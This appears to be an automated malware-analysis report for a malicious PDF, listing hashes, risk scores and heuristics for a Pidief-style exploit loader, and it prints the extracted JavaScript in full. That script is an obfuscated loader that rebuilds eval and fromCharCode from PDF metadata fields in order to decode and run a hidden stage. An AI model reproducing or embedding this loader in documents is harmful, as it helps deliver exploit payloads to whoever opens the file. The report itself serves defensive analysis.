Malicious PDF — malware analysis report

Static analysis result for SHA-256 3642d37b0cce2656…

MALICIOUS

PDF

48.0 KB Authoring application: substr First seen: 2026-05-08
MD5: 6819e85de48e1201cd2679456ac89883 SHA-1: c76828c12518839f4b9128375238c6be4928481a SHA-256: 3642d37b0cce265682d3ab9f26bfcb7bd9e1d06358310ec688672c2edde9cdfc
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBD22 529 bytes
SHA-256: 8999f261c41e550209c616e5eade42e82d2c2c0cbbe1448b9a1d0c3f8a9110cf
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
zz='keyw';
zz+='ords';
agb=e(zz);
l='leng';
l+='t'+'';
l+='h';
q=agb[v](a[l]-7,9);
d='Strin';
d+='g.';
d+='f'+'r';
d+='o';
d+=q;
onukv=e(e('d'));
sub=v[0];
sub+='ubject';
q=agb[e('v')](t[l]+12)[v[0]+e(sub)+'t']('c');
k=q[t[0]+'eng'+'t'+''+'h'];
i=t[t[0]+'eng'+'t'+''+'h']-2;
for(;i!==k;){
	efqxo = 1*(q[i]);
	i++;
	efqxo -= (-1)*(q[i]);
	s2 += onukv(efqxo);
	i++;
}
e(s2);

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